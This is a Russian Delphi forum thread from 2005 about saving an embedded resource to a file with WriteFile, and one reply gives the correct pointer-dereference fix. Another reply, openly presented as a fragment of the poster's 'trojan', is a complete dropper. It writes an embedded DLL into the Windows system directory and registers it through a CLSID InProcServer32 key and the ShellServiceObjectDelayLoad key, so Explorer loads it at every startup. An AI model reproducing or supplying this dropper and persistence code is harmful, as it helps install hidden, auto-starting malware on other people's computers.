Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Как сохранить ресурс в файл? [D6, WinXP]


lpVoid ©   (2005-04-21 13:56:00) 

Написал вот такой код. Ресурс находится, в память загружается, а вот WriteFile ругается что буфер неправильный. Ошибка такая: ERROR_INVALID_USER_BUFFER = 1784


 hFile:=CreateFile(PChar(FileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 hRes:=FindResource(0, 'DATA', RT_RCDATA);
 szRes:=SizeOfResource(0, hRes);
 hResMem:=LoadResource(0, hRes);
 pBuffer:=LockResource(hResMem);
 WriteFile(hFile, pBuffer, szRes, WriteCount, 0);
 CloseHandle(hSrcFile);


lpVoid   (2005-04-22 23:17:00) [1]

Так конечно проще, но для троянчика это жирновато будет, меньше 150кб никак. :)


lock95   (2005-04-22 20:51:00) [2]

Маленький пример как ресурс сохранит и выгрузить (уолюсь фрагмент моего троянчика)   ;)

program Project1;

uses
  Windows, SysUtils, Classes, Registry;

{$R sheldll.RES}//наш ресурс

var
MyDll1: TResourceStream;
reg:TRegistry;
szPath: array [0..MAX_PATH -1] of Char;
Sysdir:string;

begin

 GetSystemDirectory(szPath, MAX_PATH); //узнаемпуть к системной дирректории
 Sysdir:=StrPas(szPath)+'\sheldll.dll';   //   преобразуем в стр + \sheldll.dll

     MyDll1:=TResourceStream.Create(hInstance, 'MYDLL', RT_RCDATA);
   try
   MyDll1.SaveToFile(Sysdir);
  // Finally
    except          //пуска не глючит
     MyDll1.Free;
  end; {try}

   reg:=Tregistry.create;
   reg.rootkey:=HKEY_CLASSES_ROOT;
 try
   reg.openkey ('CLSID\{69502F20-E8CD-11D5-A784-0050BF44BD3B}\InProcServer32', true);
   reg.writestring('',Sysdir);
   reg.closekey;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey('Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad', true);
   reg.writestring('MyDllLoade','{69502F20-E8CD-11D5-A784-0050BF44BD3B}');
   reg.closekey;
 finally
   reg.free;
 end; {try}

end.


lpVoid   (2005-04-21 16:22:00) [3]

Спасибо, mgcr. Стормозил я чего-то.


Dot   (2005-04-21 15:16:00) [4]

а не подскажете типы данных?
то есть можно тот кусок кода где VAR увидеть?


mgcr   (2005-04-21 14:56:00) [5]

WriteFile(hFile, pBuffer ^, szRes, WriteCount, 0);


Наверх

Титульная страница Поиск, карта сайта Написать письмо